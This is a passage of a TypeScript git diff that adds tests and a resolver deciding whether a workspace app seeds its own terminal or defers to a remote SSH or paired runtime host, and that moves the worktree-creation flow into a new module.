+const ENVIRONMENT_ID = 'runtime-env-1'
+
+function repo(id: string, path: string, connectionId?: string): never {
+  return {
+    id,
+    path,
+    displayName: id,
+    badgeColor: '#000',
+    addedAt: 0,
+    ...(connectionId ? { connectionId } : {})
+  } as never
+}
+
+function seedLocal(store: TestStore): void {
+  store.setState({
+    repos: [repo('repoLocal', '/home/dev/proj')],
+    worktreesByRepo: {
+      repoLocal: [
+        makeWorktree({
+          id: LOCAL_WORKTREE_ID,
+          repoId: 'repoLocal',
+          path: '/home/dev/proj/feature',
+          hostId: 'local'
+        } as never)
+      ]
+    }
+  })
+}
+
+function seedDirectSsh(store: TestStore): void {
+  store.setState({
+    repos: [repo('repoSsh', '/srv/proj', TARGET_ID)],
+    worktreesByRepo: {
+      repoSsh: [
+        makeWorktree({
+          id: SSH_WORKTREE_ID,
+          repoId: 'repoSsh',
+          path: '/srv/proj/feature',
+          hostId: `ssh:${TARGET_ID}`
+        } as never)
+      ]
+    }
+  })
+}
+
+function terminalTabCount(store: TestStore, worktreeId: string): number {
+  return (store.getState().tabsByWorktree[worktreeId] ?? []).length
+}
+
+describe('workspace terminal seeding authority', () => {
+  it('seeds a purely local workspace immediately, exactly once', () => {
+    const store = createTestStore()
+    seedLocal(store)
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), LOCAL_WORKTREE_ID)).toBe('none')
+
+    // No await, no host round trip: the client is the execution host for a local workspace.
+    const tabId = ensureWorktreeHasInitialTerminal(store.getState(), LOCAL_WORKTREE_ID)
+    expect(tabId).toBeTruthy()
+    expect(terminalTabCount(store, LOCAL_WORKTREE_ID)).toBe(1)
+
+    // A second activation pass must not add another.
+    ensureWorktreeHasInitialTerminal(store.getState(), LOCAL_WORKTREE_ID)
+    expect(terminalTabCount(store, LOCAL_WORKTREE_ID)).toBe(1)
+  })
+
+  it('distinguishes an unanswered SSH host from one that answered with nothing', () => {
+    const store = createTestStore()
+    seedDirectSsh(store)
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), SSH_WORKTREE_ID)).toBe(
+      'unverifiable'
+    )
+    expect(ensureWorktreeHasInitialTerminal(store.getState(), SSH_WORKTREE_ID)).toBeNull()
+    expect(terminalTabCount(store, SSH_WORKTREE_ID)).toBe(0)
+
+    // The host answers and holds nothing here. That is positive evidence, so the workspace seeds.
+    store.getState().markRemoteWorkspaceHydrated(TARGET_ID)
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), SSH_WORKTREE_ID)).toBe('none')
+    expect(ensureWorktreeHasInitialTerminal(store.getState(), SSH_WORKTREE_ID)).toBeTruthy()
+    expect(terminalTabCount(store, SSH_WORKTREE_ID)).toBe(1)
+  })
+
+  it.each(['offline', 'error'] as const)(
+    'falls back to none when a sync terminates in %s without ever hydrating',
+    (phase) => {
+      // The regression this guards: remoteWorkspaceHydratedTargetIds is add-only in practice
+      // (clearRemoteWorkspaceHydrated has no production caller), so without a floor one failed sync
+      // leaves every git worktree on this target terminal-less and its sleeping agents unresumable
+      // for the rest of the app session — strictly worse than the pre-gate behaviour, and escapable
+      // only by creating a tab by hand.
+      const store = createTestStore()
+      seedDirectSsh(store)
+      store.getState().setRemoteWorkspaceSyncStatus(TARGET_ID, { phase, direction: 'pull' })
+
+      expect(resolveWorkspaceTerminalHostAuthority(store.getState(), SSH_WORKTREE_ID)).toBe('none')
+      expect(ensureWorktreeHasInitialTerminal(store.getState(), SSH_WORKTREE_ID)).toBeTruthy()
+      expect(terminalTabCount(store, SSH_WORKTREE_ID)).toBe(1)
+    }
+  )
+
+  it('still declines while a sync is in flight', () => {
+    // The floor must not swallow the wait it exists to bound: 'pulling' is an attempt in progress,
+    // not one that terminated without an answer.
+    const store = createTestStore()
+    seedDirectSsh(store)
+    store
+      .getState()
+      .setRemoteWorkspaceSyncStatus(TARGET_ID, { phase: 'pulling', direction: 'pull' })
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), SSH_WORKTREE_ID)).toBe(
+      'unverifiable'
+    )
+    expect(ensureWorktreeHasInitialTerminal(store.getState(), SSH_WORKTREE_ID)).toBeNull()
+  })
+
+  it('keeps a hydrated target on none even if a later sync errors', () => {
+    // Once the host has answered, a subsequent transport error is not evidence it holds nothing new
+    // — but it is also not a reason to start refusing. The hydrated branch wins.
+    const store = createTestStore()
+    seedDirectSsh(store)
+    store.getState().markRemoteWorkspaceHydrated(TARGET_ID)
+    store.getState().setRemoteWorkspaceSyncStatus(TARGET_ID, { phase: 'error', direction: 'pull' })
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), SSH_WORKTREE_ID)).toBe('none')
+  })
+
+  it('treats a conflicting host snapshot as unanswered', () => {
+    const store = createTestStore()
+    seedDirectSsh(store)
+    store.getState().markRemoteWorkspaceHydrated(TARGET_ID)
+    store.getState().setRemoteWorkspaceSyncStatus(TARGET_ID, { phase: 'conflict' })
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), SSH_WORKTREE_ID)).toBe(
+      'unverifiable'
+    )
+    expect(ensureWorktreeHasInitialTerminal(store.getState(), SSH_WORKTREE_ID)).toBeNull()
+    expect(terminalTabCount(store, SSH_WORKTREE_ID)).toBe(0)
+  })
+
+  it('leaves terminal creation to the host of a paired runtime workspace', () => {
+    const store = createTestStore()
+    store.setState({
+      repos: [repo('repoPaired', '/srv/proj')],
+      worktreesByRepo: {
+        repoPaired: [
+          makeWorktree({
+            id: PAIRED_WORKTREE_ID,
+            repoId: 'repoPaired',
+            path: '/srv/proj/paired',
+            hostId: `runtime:${ENVIRONMENT_ID}`,
+            runtimeOwnerEnvironmentId: ENVIRONMENT_ID
+          } as never)
+        ]
+      }
+    })
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), PAIRED_WORKTREE_ID)).toBe('live')
+    expect(ensureWorktreeHasInitialTerminal(store.getState(), PAIRED_WORKTREE_ID)).toBeNull()
+    expect(terminalTabCount(store, PAIRED_WORKTREE_ID)).toBe(0)
+  })
+
+  /**
+   * #15556: the guard this replaces asked "am I a client of a live paired session?". Rival detected
+   * publications make the owning environment unnameable, so that guard answered "no" and the client
+   * seeded a local terminal beside the one the host was creating. Ownership is unresolved, not local.
+   */
+  it('does not seed locally when the runtime owner cannot be named', () => {
+    const store = createTestStore()
+    store.setState({
+      repos: [repo('repoPaired', '/srv/proj')],
+      worktreesByRepo: {},
+      detectedWorktreesByRepo: {
+        repoPaired: {
+          authoritative: true,
+          worktrees: [
+            makeWorktree({
+              id: PAIRED_WORKTREE_ID,
+              repoId: 'repoPaired',
+              path: '/srv/proj/paired',
+              hostId: `runtime:${ENVIRONMENT_ID}`,
+              runtimeOwnerEnvironmentId: ENVIRONMENT_ID
+            } as never)
+          ]
+        },
+        repoPairedRival: {
+          authoritative: true,
+          worktrees: [
+            makeWorktree({
+              id: PAIRED_WORKTREE_ID,
+              repoId: 'repoPairedRival',
+              path: '/srv/proj/paired',
+              hostId: 'local'
+            } as never)
+          ]
+        }
+      } as never
+    })
+
+    expect(resolveWorkspaceTerminalHostAuthority(store.getState(), PAIRED_WORKTREE_ID)).toBe(
+      'unverifiable'
+    )
+    expect(ensureWorktreeHasInitialTerminal(store.getState(), PAIRED_WORKTREE_ID)).toBeNull()
+    expect(terminalTabCount(store, PAIRED_WORKTREE_ID)).toBe(0)
+  })
+})
diff --git a/src/renderer/src/lib/workspace-terminal-host-authority.ts b/src/renderer/src/lib/workspace-terminal-host-authority.ts
new file mode 100644
index 00000000000..ad535e94563
--- /dev/null
+++ b/src/renderer/src/lib/workspace-terminal-host-authority.ts
@@ -0,0 +1,173 @@
+import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
+import { parseExecutionHostId } from '../../../shared/execution-host'
+import { parseWorkspaceKey } from '../../../shared/workspace-scope'
+import type { HostLiveTerminalProbeVerdict } from '@/runtime/host-live-terminal-probe'
+import type { RemoteWorkspaceSyncStatus } from '@/store/slices/ssh'
+import { isWebRuntimeSessionActive } from '@/runtime/web-runtime-session'
+import {
+  getExecutionHostIdForWorktree,
+  getRuntimeEnvironmentIdForWorktree,
+  type WorktreeRuntimeOwnerState
+} from '@/lib/worktree-runtime-owner'
+
+/**
+ * Who holds a workspace's terminals right now, in the same three-verdict vocabulary the renderer
+ * already uses for host terminal inventory ({@link HostLiveTerminalProbeVerdict}) — aliased rather
+ * than restated so the two cannot drift:
+ *
+ * - `live` — a remote execution host owns terminal creation here. It supplies the surface itself.
+ * - `unverifiable` — the workspace has a remote execution host with a sync still in flight or not
+ *   yet attempted. It is bounded: a sync that terminates without an answer resolves `none` rather
+ *   than refusing forever (see resolveDirectSshAuthority).
+ * - `none` — no remote host holds terminals here: either the workspace is local (this client *is*
+ *   the execution host, and its own tab rows are the whole truth) or the host answered and holds
+ *   nothing.
+ *
+ * `unverifiable` is a verdict, never a synonym for `none`. Two client behaviours read local rows as
+ * the verdict on what the host is running, and both are wrong before it answers:
+ *
+ * - seeding an initial terminal adds one tab per launch (STA-4658) — the snapshot then arrives, the
+ *   merge rightly keeps the tab it was never told about, and the union uploads as the new host truth;
+ * - resuming a sleeping agent forks a second `claude --resume` onto a transcript the host is still
+ *   writing (STA-3500, STA-3498, STA-3374), which no later evidence can undo.
+ *
+ * See docs/reference/ssh-execution-boundary.md.
+ */
+export type WorkspaceTerminalHostAuthority = HostLiveTerminalProbeVerdict
+
+export type WorkspaceTerminalHostAuthorityState = WorktreeRuntimeOwnerState & {
+  remoteWorkspaceHydratedTargetIds?: ReadonlySet<string>
+  remoteWorkspaceSyncStatusByTargetId?: Record<string, RemoteWorkspaceSyncStatus>
+}
+
+/** A sync attempt that has stopped without an answer. `unverifiable` is the honest verdict about the
+ *  host, but holding it forever is not a verdict — it is a refusal to act, so nothing would ever
+ *  lift it. Four paths reach here: local-hydration timeout, a null `remoteWorkspace.get`, a falsy
+ *  apply token, and never connecting at all.
+ *
+ *  Known gap: this floor was reasoned about when hydration was add-only, so "un-hydrated" implied
+ *  "the host never answered". A snapshot whose rows could not be placed now revokes hydration
+ *  (remote-workspace-snapshot-apply.ts), so a target that later lands on `offline`/`error` reaches
+ *  this floor having *demonstrably* answered with tabs. Seeding is then authorised over live host
+ *  terminals. That is not a regression — before the revocation existed the same target was marked
+ *  hydrated and `synced`, which reached `none` sooner — but the floor should learn to tell a
+ *  revoked target from one that never answered. Tracked for the SSH-v3 consolidation, where a
+ *  single authoritative liveness source replaces this pair. */
+const TERMINATED_WITHOUT_ANSWER_PHASES = new Set(['offline', 'error'])
+
+function resolveDirectSshAuthority(
+  state: WorkspaceTerminalHostAuthorityState,
+  targetId: string
+): WorkspaceTerminalHostAuthority {
+  const phase = state.remoteWorkspaceSyncStatusByTargetId?.[targetId]?.phase
+  if (state.remoteWorkspaceHydratedTargetIds?.has(targetId)) {
+    // Why: the same pair use-app-session-persistence.ts gates uploads on. A conflicting snapshot
+    // means the client's picture is not the host's, so it is no basis for deciding the host holds
+    // nothing.
+    return phase === 'conflict' ? 'unverifiable' : 'none'
+  }
+  if (phase !== undefined && TERMINATED_WITHOUT_ANSWER_PHASES.has(phase)) {
+    // The bounded floor. Without it a single failed sync leaves every git worktree on this target
+    // terminal-less and its sleeping agents unresumable for the rest of the app session — strictly
+    // worse than the pre-gate behaviour, and only escapable by creating a tab by hand. Declining to
+    // seed is meant to be a wait, not a permanent refusal.
+    return 'none'
+  }
+  // Not connected, still pulling, or not yet attempted — "we could not ask", never "nothing there".
+  return 'unverifiable'
+}
+
+/**
+ * The one host-authority question the seeding and sleeping-agent-resume paths ask, for both remote
+ * flavors: does some other party own this workspace's terminals right now?
+ *
+ * Deliberately an ownership question, not a client-liveness one — the guard it replaces asked "am I
+ * a client of a live paired session?", which a host desktop window answers "no" while a paired
+ * client answers "yes", so both seeded (#15556).
+ */
+export function resolveWorkspaceTerminalHostAuthority(
+  state: WorkspaceTerminalHostAuthorityState,
+  worktreeId: string | null | undefined
+): WorkspaceTerminalHostAuthority {
+  if (!worktreeId || worktreeId === FLOATING_TERMINAL_WORKTREE_ID) {
+    return 'none'
+  }
+  if (isWebRuntimeSessionActive(getRuntimeEnvironmentIdForWorktree(state, worktreeId))) {
+    return 'live'
+  }
+  const host = parseExecutionHostId(getExecutionHostIdForWorktree(state, worktreeId))
+  if (host?.kind === 'runtime') {
+    // A runtime host we could not name (rival detected publications, unhydrated catalog) is unasked.
+    return 'unverifiable'
+  }
+  if (host?.kind === 'ssh' && parseWorkspaceKey(worktreeId)?.type !== 'folder') {
+    // Why the git-worktree narrowing: the snapshot replaces exactly DirectSshTargetScope.gitWorktreeIds
+    // (remote-workspace-snapshot-apply.ts). A folder workspace's rows are never replaced by the host,
+    // so waiting on an answer that will never name them would leave it terminal-less for good.
+    return resolveDirectSshAuthority(state, host.targetId)
+  }
+  // Local, or outside the host's replace scope: this client is the execution host and its own rows are
+  // the whole truth. Absence of a catalog row is not evidence of a remote owner, and refusing to act
+  // on it would strand every workspace whose repo has not landed yet.
+  return 'none'
+}
+
+/**
+ * Every slice the resolution above reads. Resolution walks the owner catalogs (and, for an active
+ * `ssh:` selection, `worktreesByRepo` uncached via resolveSelectedHostRoute), so a Zustand selector
+ * must not run it per store write — STA-3363 is the same shape. Same retained-selector memo as
+ * createConnectionIdForFileSelector.
+ */
+const AUTHORITY_INPUT_KEYS = [
+  'activeWorktreeId',
+  'activeWorkspaceExecutionHostId',
+  'detectedWorktreesByRepo',
+  'folderWorkspaces',
+  'projectGroups',
+  'remoteWorkspaceHydratedTargetIds',
+  'remoteWorkspaceSyncStatusByTargetId',
+  'removedRuntimeEnvironmentIds',
+  'repos',
+  'restoredRuntimeHostIdByWorkspaceSessionKey',
+  'runtimeEnvironmentCatalogHydrated',
+  'runtimeEnvironments',
+  'settings',
+  'worktreesByRepo'
+] as const satisfies readonly (keyof WorkspaceTerminalHostAuthorityState)[]
+
+/** Completeness, not just membership. The `satisfies` above only proves each listed key EXISTS on
+ *  the state; a field added to WorkspaceTerminalHostAuthorityState and forgotten from the list would
+ *  type-check while making the memo return a stale verdict — the failure mode is silent and looks
+ *  like "the gate did not fire". This assignment fails to compile unless every key is listed. */
+type MissingAuthorityInputKey = Exclude<
+  keyof WorkspaceTerminalHostAuthorityState,
+  (typeof AUTHORITY_INPUT_KEYS)[number]
+>
+/** Errors with the missing key names when the union is not empty. Deliberately NOT
+ *  `const x: MissingAuthorityInputKey[] = []` — an empty array literal is assignable to every array
+ *  type, so that spelling passes no matter what is missing. */
+type AssertNoMissingAuthorityInputKey<T extends never> = T
+export type AuthorityInputKeysAreComplete =
+  AssertNoMissingAuthorityInputKey<MissingAuthorityInputKey>
+
+type AuthorityInputs = readonly unknown[]
+
+function captureAuthorityInputs(state: WorkspaceTerminalHostAuthorityState): AuthorityInputs {
+  return AUTHORITY_INPUT_KEYS.map((key) => state[key])
+}
+
+export function createWorkspaceTerminalHostAuthoritySelector(
+  worktreeId: string | null | undefined
+): (state: WorkspaceTerminalHostAuthorityState) => WorkspaceTerminalHostAuthority {
+  let previousInputs: AuthorityInputs | null = null
+  let previousResult: WorkspaceTerminalHostAuthority = 'none'
+  return (state) => {
+    const inputs = captureAuthorityInputs(state)
+    if (previousInputs?.every((value, index) => value === inputs[index]) === true) {
+      return previousResult
+    }
+    previousInputs = inputs
+    previousResult = resolveWorkspaceTerminalHostAuthority(state, worktreeId)
+    return previousResult
+  }
+}
diff --git a/src/renderer/src/lib/worktree-creation-flow-agent-trust-preflight.test.ts b/src/renderer/src/lib/worktree-creation-flow-agent-trust-preflight.test.ts
index 928c3dfc87f..2431315509a 100644
--- a/src/renderer/src/lib/worktree-creation-flow-agent-trust-preflight.test.ts
+++ b/src/renderer/src/lib/worktree-creation-flow-agent-trust-preflight.test.ts
@@ -2,7 +2,7 @@ import { readFileSync } from 'node:fs'
 import { join } from 'node:path'
 import { describe, expect, it } from 'vitest'
 
-const FLOW_SOURCE = readFileSync(join(__dirname, 'worktree-creation-flow.ts'), 'utf8')
+const FLOW_SOURCE = readFileSync(join(__dirname, 'worktree-creation-flow-execute.ts'), 'utf8')
 
 function sourceBetween(source: string, startPattern: string, endPattern: string): string {
   const start = source.indexOf(startPattern)
diff --git a/src/renderer/src/lib/worktree-creation-flow-execute.ts b/src/renderer/src/lib/worktree-creation-flow-execute.ts
new file mode 100644
index 00000000000..03232b39526
--- /dev/null
+++ b/src/renderer/src/lib/worktree-creation-flow-execute.ts
@@ -0,0 +1,240 @@
+import { toast } from 'sonner'
+import { useAppStore } from '@/store'
+import { TUI_AGENT_CONFIG } from '../../../shared/tui-agent-config'
+import { activateAndRevealWorktree, type ActivateAndRevealResult } from '@/lib/worktree-activation'
+import { ensureWorktreeHasInitialTerminal } from '@/lib/worktree-initial-terminal-seeding'
+import { ensureAgentStartupInTerminal } from '@/lib/new-workspace'
+import { queueWorkspaceActivationTerminalFocus } from '@/lib/workspace-activation-terminal-focus'
+import {
+  attachEphemeralVmRuntimeToWorkspace,
+  cleanupEphemeralVmRuntimeForFailedCreate,
+  prepareRequestForCreate
+} from '@/lib/ephemeral-vm-worktree-creation'
+import { getProvisionedRootCreateOptions } from '@/lib/provisioned-root-create-options'
+import {
+  formatWorkspaceCreateError,
+  getWorkspaceCreateErrorToastMessage
+} from '@/lib/workspace-create-error-format'
+import type { CreateWorktreeResult } from '../../../shared/worktree/create-types'
+import type { WorktreeCreationRequest } from '@/lib/pending-worktree-creation'
+import { createBrowserUuid } from '@/lib/browser-uuid'
+import { seedAgentTabStateAfterWorktreeCreate } from '@/lib/worktree-creation-agent-seeds'
+import { resolveBackendDraftStartup } from '@/lib/worktree-draft-startup-view-mode'
+import { buildWorktreeCreationStartupOpt } from '@/lib/worktree-creation-flow-startup'
+
+// Why: activePendingCreationId can outlive the terminal route when the user
+// switches app views; only the terminal route renders the creation panel.
+function isPendingCreationSurfaceVisible(creationId: string): boolean {
+  const state = useAppStore.getState()
+  return state.activeView === 'terminal' && state.activePendingCreationId === creationId
+}
+
+async function preflightAgentTrust(
+  request: WorktreeCreationRequest,
+  path: string,
+  connectionId?: string | null
+): Promise<void> {
+  // Why: trust-gated agents (cursor-agent, copilot) consume the bracketed paste
+  // as menu input on first launch. Pre-write the trust artifact before any
+  // terminal spawns. Best-effort — the worktree already exists, so a failure
+  // here must not strand it.
+  if (!request.agent || !window.api.agentTrust?.markTrusted) {
+    return
+  }
+  const preflight = TUI_AGENT_CONFIG[request.agent].preflightTrust
+  if (!preflight) {
+    return
+  }
+  try {
+    await window.api.agentTrust.markTrusted({
+      preset: preflight,
+      workspacePath: path,
+      ...(connectionId ? { connectionId } : {})
+    })
+  } catch {
+    // Best-effort: continue with launch.
+  }
+}
+
+export async function executeWorktreeCreation(
+  creationId: string,
+  request: WorktreeCreationRequest
+): Promise<void> {
+  const preparedRequest = await prepareRequestForCreate(creationId, request)
+  if (!preparedRequest) {
+    return
+  }
+
+  let result: CreateWorktreeResult
+  try {
+    const provisionedRoot = getProvisionedRootCreateOptions(preparedRequest)
+    const backendStartup = provisionedRoot ? undefined : resolveBackendDraftStartup(preparedRequest)
+    result = await useAppStore
+      .getState()
+      .createWorktree(
+        preparedRequest.repoId,
+        preparedRequest.name,
+        preparedRequest.baseBranch,
+        preparedRequest.setupDecision,
+        preparedRequest.sparseCheckout,
+        preparedRequest.telemetrySource,
+        preparedRequest.displayName,
+        preparedRequest.linkedIssue,
+        preparedRequest.linkedPR,
+        preparedRequest.pushTarget,
+        preparedRequest.agent ?? undefined,
+        preparedRequest.linkedLinearIssue,
+        preparedRequest.branchNameOverride,
+        preparedRequest.workspaceStatus,
+        preparedRequest.linkedGitLabMR,
+        preparedRequest.linkedGitLabIssue,
+        backendStartup,
+        preparedRequest.pendingFirstAgentMessageRename,
+        creationId,
+        preparedRequest.linkedLinearIssueWorkspaceId,
+        preparedRequest.linkedLinearIssueOrganizationUrlKey,
+        preparedRequest.linkedBitbucketPR,
+        preparedRequest.linkedAzureDevOpsPR,
+        preparedRequest.linkedGiteaPR,
+        preparedRequest.compareBaseRef,
+        {
+          ...(preparedRequest.nameWasGenerated ? { nameWasGenerated: true } : {}),
+          ...(preparedRequest.linkedWorkItem !== undefined
+            ? { linkedWorkItem: preparedRequest.linkedWorkItem }
+            : {}),
+          ...(preparedRequest.linkedTaskSourceContext !== undefined
+            ? { linkedTaskSourceContext: preparedRequest.linkedTaskSourceContext }
+            : {}),
+          // Why: the remote host must own task-draft startup so its initial terminal is the agent, not an idle fallback shell.
+          ...(!backendStartup && preparedRequest.agent && preparedRequest.launchDraftPrompt
+            ? { startupDraft: preparedRequest.launchDraftPrompt }
+            : {}),
+          ...(provisionedRoot ? { provisionedRoot } : {}),
+          ...(preparedRequest.parentWorktreeId
+            ? { parentWorktreeId: preparedRequest.parentWorktreeId }
+            : {})
+        }
+      )
+  } catch (error) {
+    // Why: a missing entry means the user cancelled mid-flight — abandon
+    // silently rather than surfacing an error for work they already dismissed.
+    if (!useAppStore.getState().pendingWorktreeCreations[creationId]) {
+      return
+    }
+    if (preparedRequest.ephemeralVmRuntimeId) {
+      await cleanupEphemeralVmRuntimeForFailedCreate(preparedRequest)
+    }
+    const message = getWorkspaceCreateErrorToastMessage(formatWorkspaceCreateError(error))
+    // Why: an error must stay on the same creation surface that owns the faux
+    // tab strip, rather than falling back to stale previous-workspace tabs.
+    useAppStore.getState().updatePendingWorktreeCreation(creationId, {
+      status: 'error',
+      error: message,
+      ...(preparedRequest.ephemeralVmRecipe ? { request } : {})
+    })
+    // Why: only toast when the panel isn't already showing this error (the user
+    // navigated away), so a visible failure isn't announced twice.
+    if (!isPendingCreationSurfaceVisible(creationId)) {
+      toast.error(message)
+    }
+    return
+  }
+
+  const worktree = result.worktree
+  // Why: cancellation can race a successful backend adoption; clean up again after it settles so an adopted workspace cannot outlive its destroyed VM.
+  if (!useAppStore.getState().pendingWorktreeCreations[creationId]) {
+    if (preparedRequest.ephemeralVmRuntimeId) {
+      await cleanupEphemeralVmRuntimeForFailedCreate(preparedRequest)
+    }
+    return
+  }
+  await attachEphemeralVmRuntimeToWorkspace(preparedRequest, worktree.id)
+
+  const backendSpawned = result.startupTerminal?.spawned === true
+  if (preparedRequest.startupPlan && !backendSpawned && !preparedRequest.startupPlan.launchToken) {
+    // Why: delayed delivery must target the exact pane spawned from this queued
+    // startup, so both halves of the handoff share one renderer-session token.
+    preparedRequest.startupPlan.launchToken = createBrowserUuid()
+  }
+  const startupOpt = buildWorktreeCreationStartupOpt(preparedRequest, backendSpawned)
+
+  if (worktree.path) {
+    const repoConnectionId =
+      useAppStore.getState().repos.find((repo) => repo.id === worktree.repoId)?.connectionId ?? null
+    await preflightAgentTrust(preparedRequest, worktree.path, repoConnectionId)
+  }
+
+  // `createWorktree` already inserted the real worktree row. Leaving for an app
+  // view keeps the create in the background, while selecting another workspace
+  // means the user still expects this task-launch handoff when it becomes ready;
+  // the entry guard prevents a late trust preflight from reviving a cancelled create.
+  const completionState = useAppStore.getState()
+  const shouldActivateOnCompletion =
+    completionState.pendingWorktreeCreations[creationId] !== undefined &&
+    (isPendingCreationSurfaceVisible(creationId) ||
+      (completionState.activeView === 'terminal' &&
+        completionState.activePendingCreationId === null))
+
+  let activation: ActivateAndRevealResult | false = false
+  let primaryTabId: string | null
+  if (shouldActivateOnCompletion) {
+    activation = activateAndRevealWorktree(worktree.id, {
+      sidebarRevealBehavior: 'auto',
+      ...(result.setup ? { setup: result.setup } : {}),
+      ...(result.defaultTabs ? { defaultTabs: result.defaultTabs } : {}),
+      ...(startupOpt ? { startup: startupOpt } : {}),
+      ...(preparedRequest.issueCommand ? { issueCommand: preparedRequest.issueCommand } : {}),
+      ...(backendSpawned ? { backendStartupTerminalSpawned: true } : {})
+    })
+    primaryTabId = activation === false ? null : activation.primaryTabId
+  } else {
+    // The user moved on. Seed the worktree's terminal + setup in the background
+    // (setActiveTab only writes global focus for the active worktree, so this is
+    // safe) without yanking them back to it.
+    primaryTabId = ensureWorktreeHasInitialTerminal(
+      useAppStore.getState(),
+      worktree.id,
+      startupOpt,
+      result.setup,
+      preparedRequest.issueCommand,
+      result.defaultTabs,
+      {
+        activateCreatedTabs: false,
+        ...(backendSpawned ? { backendStartupTerminalSpawned: true } : {})
+      }
+    )
+  }
+
+  // Why: clearing synchronously right after activation lets React commit the
+  // panel→terminal swap in one frame — no two-row flicker, no empty-terminal flash.
+  useAppStore.getState().removePendingWorktreeCreation(creationId, { cleanupVm: false })
+  seedAgentTabStateAfterWorktreeCreate({
+    request: preparedRequest,
+    worktreeId: worktree.id,
+    primaryTabId,
+    startupTerminalTabId: result.startupTerminal?.tabId,
+    backendSpawned
+  })
+  if (preparedRequest.startupPlan && !backendSpawned) {
+    void ensureAgentStartupInTerminal({
+      worktreeId: worktree.id,
+      primaryTabId,
+      startup: preparedRequest.startupPlan
+    })
+  }
+  if (shouldActivateOnCompletion && !preparedRequest.suppressTerminalFocusOnCompletion) {
+    queueWorkspaceActivationTerminalFocus(worktree.id, activation)
+  }
+
+  // Why: awaiting the note IPC before the swap would add a visible round-trip to
+  // the panel→terminal transition; it's cosmetic, so it runs last.
+  if (preparedRequest.note) {
+    try {
+      await useAppStore.getState().updateWorktreeMeta(worktree.id, {
+        comment: preparedRequest.note
+      })
+    } catch {
+      console.error('Failed to update worktree meta after creation')
+    }
+  }
+}
diff --git a/src/renderer/src/lib/worktree-creation-flow.ts b/src/renderer/src/lib/worktree-creation-flow.ts
index d99a9792282..2fc17f6abf9 100644
--- a/src/renderer/src/lib/worktree-creation-flow.ts
+++ b/src/renderer/src/lib/worktree-creation-flow.ts
@@ -1,31 +1,12 @@
-import { toast } from 'sonner'
 import { useAppStore } from '@/store'
-import { TUI_AGENT_CONFIG } from '../../../shared/tui-agent-config'
-import { activateAndRevealWorktree, type ActivateAndRevealResult } from '@/lib/worktree-activation'
-import { ensureWorktreeHasInitialTerminal } from '@/lib/worktree-initial-terminal-seeding'
-import { ensureAgentStartupInTerminal } from '@/lib/new-workspace'
-import { queueWorkspaceActivationTerminalFocus } from '@/lib/workspace-activation-terminal-focus'
-import {
-  attachEphemeralVmRuntimeToWorkspace,
-  cleanupEphemeralVmRuntimeForFailedCreate,
-  prepareRequestForCreate
-} from '@/lib/ephemeral-vm-worktree-creation'
-import { getProvisionedRootCreateOptions } from '@/lib/provisioned-root-create-options'
-import {
-  formatWorkspaceCreateError,
-  getWorkspaceCreateErrorToastMessage
-} from '@/lib/workspace-create-error-format'
-import type { CreateWorktreeResult } from '../../../shared/worktree/create-types'
 import {
   findPendingLinkedWorkItemCreationId,
   type WorktreeCreationPhase,
   type WorktreeCreationRequest
 } from '@/lib/pending-worktree-creation'
 import { createBrowserUuid } from '@/lib/browser-uuid'
-import { seedAgentTabStateAfterWorktreeCreate } from '@/lib/worktree-creation-agent-seeds'
-import { resolveBackendDraftStartup } from '@/lib/worktree-draft-startup-view-mode'
+import { executeWorktreeCreation } from '@/lib/worktree-creation-flow-execute'
 import {
-  buildWorktreeCreationStartupOpt,
   getInitialWorktreeCreationPhase,
   getWorktreeCreationIndeterminate
 } from '@/lib/worktree-creation-flow-startup'
@@ -34,13 +15,6 @@ type ContinueBackgroundWorktreeCreationOptions = {
   revealCreationSurface?: boolean
 }
 
-// Why: activePendingCreationId can outlive the terminal route when the user
-// switches app views; only the terminal route renders the creation panel.
-function isPendingCreationSurfaceVisible(creationId: string): boolean {
-  const state = useAppStore.getState()
-  return state.activeView === 'terminal' && state.activePendingCreationId === creationId
-}
-
 function revealPendingCreation(
   creationId: string,
   request: WorktreeCreationRequest,
@@ -65,213 +39,6 @@ function revealPendingCreation(
   store.setSidebarOpen(true)
 }
 
-async function preflightAgentTrust(
-  request: WorktreeCreationRequest,
-  path: string,
-  connectionId?: string | null
-): Promise<void> {
-  // Why: trust-gated agents (cursor-agent, copilot) consume the bracketed paste
-  // as menu input on first launch. Pre-write the trust artifact before any
-  // terminal spawns. Best-effort — the worktree already exists, so a failure
-  // here must not strand it.
-  if (!request.agent || !window.api.agentTrust?.markTrusted) {
-    return
-  }
-  const preflight = TUI_AGENT_CONFIG[request.agent].preflightTrust
-  if (!preflight) {
-    return
-  }
-  try {
-    await window.api.agentTrust.markTrusted({
-      preset: preflight,
-      workspacePath: path,
-      ...(connectionId ? { connectionId } : {})
-    })
-  } catch {
-    // Best-effort: continue with launch.
-  }
-}
-
-async function executeWorktreeCreation(
-  creationId: string,
-  request: WorktreeCreationRequest
-): Promise<void> {
-  const preparedRequest = await prepareRequestForCreate(creationId, request)
-  if (!preparedRequest) {
-    return
-  }
-
-  let result: CreateWorktreeResult
-  try {
-    const provisionedRoot = getProvisionedRootCreateOptions(preparedRequest)
-    const backendStartup = provisionedRoot ? undefined : resolveBackendDraftStartup(preparedRequest)
-    result = await useAppStore
-      .getState()
-      .createWorktree(
-        preparedRequest.repoId,
-        preparedRequest.name,
-        preparedRequest.baseBranch,
-        preparedRequest.setupDecision,
-        preparedRequest.sparseCheckout,
-        preparedRequest.telemetrySource,
-        preparedRequest.displayName,
-        preparedRequest.linkedIssue,
-        preparedRequest.linkedPR,
-        preparedRequest.pushTarget,
-        preparedRequest.agent ?? undefined,
-        preparedRequest.linkedLinearIssue,
-        preparedRequest.branchNameOverride,
-        preparedRequest.workspaceStatus,
-        preparedRequest.linkedGitLabMR,
-        preparedRequest.linkedGitLabIssue,
-        backendStartup,
-        preparedRequest.pendingFirstAgentMessageRename,
-        creationId,
-        preparedRequest.linkedLinearIssueWorkspaceId,
-        preparedRequest.linkedLinearIssueOrganizationUrlKey,
-        preparedRequest.linkedBitbucketPR,
-        preparedRequest.linkedAzureDevOpsPR,
-        preparedRequest.linkedGiteaPR,
-        preparedRequest.compareBaseRef,
-        {
